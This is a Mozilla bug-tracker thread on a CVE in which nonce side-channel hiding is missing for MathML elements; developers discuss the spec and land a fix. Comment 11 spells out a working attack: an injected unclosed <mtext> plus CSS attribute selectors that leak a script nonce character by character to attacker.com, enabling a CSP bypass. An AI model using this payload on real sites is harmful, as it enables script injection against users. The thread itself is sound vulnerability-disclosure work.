2007083 - (CVE-2026-12317) nonce side-channels hiding is not implemented for MathML elements

Status: RESOLVED FIXED

(Core :: DOM: Security, defect)

Description

[Frédéric Wang Nélar]

From https://html.spec.whatwg.org/multipage/urls-and-fetching.html#nonce-attributes :

"Elements that have a nonce content attribute ensure that the cryptographic nonce is only exposed to script (and not to side-channels like CSS attribute selectors) by taking the value from the content attribute, moving it into an internal slot named [[CryptographicNonce]], exposing it to script via the HTMLOrSVGElement interface mixin, and setting the content attribute to the empty string. Unless otherwise specified, the slot's value is the empty string."

This is not implemented for MathML, see this simple patch for the WPT repo that extends similar HTML/SVG tests to MathML. These tests fail in Firefox at https://hg-edge.mozilla.org/integration/autoland/rev/6ba2c924f7fe

This was originally reported in Chromium at https://issues.chromium.org/u/1/issues/46987849 ; this report is copied from https://bugs.webkit.org/show_bug.cgi?id=304487

Similar bugs for HTML and SVG was originally fixed in bug 1374612 and bug 1871112.

(Note: we should really do the renaming of https://github.com/web-platform-tests/wpt/pull/55231 at some point...)

Comment 1

[Frédéric Wang Nélar]

Attachment: wpt-nonce-hiding-mathml.patch

Comment 2

[Frédéric Wang Nélar]

Attachment: wpt-nonce-hiding-mathml.patch

Comment 3

[Frédéric Wang Nélar]

I commented on https://issues.chromium.org/issues/469878491#comment11 ; but

1. https://github.com/whatwg/html/issues/4702 is not fixed yet ; and Firefox only seems to implement nonce for SVG/HTML not for HTMLOrForeignElement.

2. I'm not sure this is relevant for MathML in any case, since we don't have style/script elements and I'm not aware of a parsing behavior similar to body/html that allows to steal attributes from children (https://issues.chromium.org/issues/41485789). Waiting clarification from reporter.

Comment 4

[Daniel Veditz [:dveditz]]

I think Firefox only has special handling for nonce on <script> and <style> elements: I can style other elements based on a nonce attributes

There's some code that handles nonce specially only if 1) there's a CSP, and 2) that CSP is delivered in an HTTP header (see link below). That comes from bug 1374612, but something else must have made a similar change somewhere else later because the behavior doesn't seem to depend on whether there's a CSP on the document or not.
https://searchfox.org/firefox-main/rev/929fb12c1318659f24965f2908dec6e5fd56d9d9/dom/html/nsGenericHTMLElement.cpp#880-882

At the moment Firefox is handling MathML the way it handles HTML and SVG: it only hides the nonce on <script> and <style> elements :-)

Comment 5

[Daniel Veditz [:dveditz]]

I'm conflating different things. First, the HTML spec applies the same behavior to all HTML/SVG elements:

1. if your script updates a DOM .nonce property it is not reflected back into the element's nonce attribute
2. IFF your document has a HEADER csp then the nonce attributes on all elements are set to empty string (but the DOM property contains the value)

Second, separately from that CSS attribute selectors won't match on a nonce attribute value on a <stryle> or <script> element even if #2 doesn't apply, and even if the page doesn't have a CSP at all! That's a good thing for protecting pages that are only able to deploy CSP in a <meta>, but why not apply it to every element like the first mechanism? Either a nonce attribute on those other elements are dangerous or they aren't. I can't figure out where this is specified, but it makes sense and is consistent across browsers.

For #2 above, why only a HEADER policy? Firefox seems to only do this if there's an enforced policy in the header; a report-only policy doesn't count. Chrome does this if there's either kind of policy in a header.

Note that step 2. doesn't apply to calling .setAttribute() on an existing element. That's a footgun left for the web developer.

Clearly it would be better for MathML elements to be consistent with the other standard elements developers work with, but it doesn't seem like much of a CSP security problem if there aren't MathML script or style tags. What security severity rating did the Chrome and Webkit folks assign to their versions of this bug?

Comment 6

[Frédéric Wang Nélar]

@Daniel Veditz Thanks for the detailed information, I was not aware of these subtle behavior differences. Clearly, we need some interop/spec work here...

Regarding the MathML case, Chromium/WebKit folks didn't really get engaged into the discussion. I cc'ed you to https://issues.chromium.org/issues/469878491 ; the original report seems unclear since MathML does not have script/style element and it's unlikely someone would put a nonce on an mtext. The reply from the report is confusing since they seems to assume the attacker already knows the nonce value: https://issues.chromium.org/issues/469878491#comment12 ; anyway I believe we can still use an unclosed <mtext to steal the nonce of a following script, so that seems valid report at the end. WDYT?

Comment 7

[Tom Schuster [:tschuster]]

I can't see the linked issue. I would be curious to hear more about the <mtext problem.

Comment 8

[BugBot [:suhaib / :marco]]

The severity field is not set for this bug.
:freddy, could you have a look please?

For more information, please visit BugBot documentation.

Comment 9

[Frédéric Wang Nélar]

The spec has been updated for MathML elements: https://html.spec.whatwg.org/multipage/urls-and-fetching.html#nonce-attributes

I'll take a look at it.

Comment 10

[Frédéric Wang Nélar]

Attachment: wpt-nonce-hiding-mathml.patch

Comment 11

[Frédéric Wang Nélar]

I'll attach a patch that fixes the WPT test failures for the tests added in attachment 9585088 [details] [diff] [review].

Note that it seems difficult to reproduce the original report with Firefox. However, if you serve WPT tests with attachment 9585088 [details] [diff] [review] applies, open http://127.0.0.1:8000/content-security-policy/nonce-hiding/nonces-css-selector.html and check the network, you can see some undesired requests to the URL used as a background image. For me this does not show up easily, even after hard reload. What I have to do is modify nonces-css-selector.html to use a different file than abe.png, save and reload.

(In reply to Tom Schuster from comment #7)

I can't see the linked issue. I would be curious to hear more about the <mtext problem.

I had cc'ed you to the Chromium issue. It seems the report was assisted with AI (at least initially) and a bit confusing to me, but my understanding is:

1. A page is served with Content-Security-Policy: script-src 'nonce-abc' with some <script nonce="abc"> script.
2. Suppose attacker is able to inject the following code snippet in front of the script tag (with unclosed mtext)

<style>
  mtext[nonce^=a] {  background-image: url(attacker.com/leak?char=a);  }
</style>
<math><mtext

then the mtext element will steal the nonce attribute and the selector will match, so a request to the URL's attacker will reveal that the script nonce attribute starts with letter 'a'

3. Attacker can repeat several times with different selectors ^=aa, ^=ab, ^=aba, ... to completely determine the nonce attribute.
4. Now attacker can inject a <script nonce="abc"> attribute to execute arbitrary script, bypassing the script-src protection.

Comment 12

[Frédéric Wang Nélar]

Attachment: (secure)

See https://github.com/whatwg/html/pull/12416 and
https://html.spec.whatwg.org/multipage/urls-and-fetching.html#nonce-attributes

Comment 13

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/0e852ba43ace
https://hg.mozilla.org/integration/autoland/rev/dd195115475c
nonce side-channels hiding is not implemented for MathML r=webidl,smaug

Comment 14

[Ryan VanderMeulen [:RyanVM]]

https://hg-edge.mozilla.org/mozilla-central/rev/dd195115475c